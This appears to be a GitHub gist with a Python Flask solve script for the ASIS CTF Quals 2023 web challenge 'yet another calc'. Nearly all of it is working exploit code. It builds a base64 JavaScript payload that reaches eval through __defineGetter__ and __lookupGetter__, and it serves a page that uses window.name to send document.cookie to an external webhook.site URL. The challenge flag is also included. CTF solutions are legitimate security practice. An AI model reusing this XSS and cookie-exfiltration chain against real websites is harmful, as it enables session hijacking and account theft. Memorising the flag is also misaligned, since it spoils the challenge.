Created
September 23, 2023 12:43
-
-
Save lebr0nli/9c50be13c3b34d38c700167680dacb5b to your computer and use it in GitHub Desktop.
ASIS CTF Quals 2023 - yet another calc (web)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from flask import Flask | |
from base64 import b64encode | |
CHALL_URL = "http://45.147.229.138:8000/?e=" | |
CHALL_URL = "http://web/?e=" | |
app = Flask(__name__) | |
@app.route("/") | |
def solve(): | |
payload = """ | |
e=window.eval; | |
Math.__defineGetter__(Math.x,e); | |
a=Math.abs; | |
a=a.name; | |
Math.__defineGetter__(a,Math.__lookupGetter__); | |
n=window.name; | |
Math.abs(n); | |
""".strip() | |
payload = b64encode(payload.encode()).decode() | |
xss_url = CHALL_URL + payload | |
print(xss_url) | |
return f""" | |
<script> | |
name = "location=`https://webhook.site/4f37728c-5479-4e68-800b-1bebc7faecec/?f=`+encodeURIComponent(document.cookie)"; | |
location = "{xss_url}"; | |
</script> | |
""" | |
if __name__ == "__main__": | |
app.run(host="localhost", port=1337) | |
# FLAG=ASIS{constructor_constructor_constructor_...ftw_fads2ds23} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment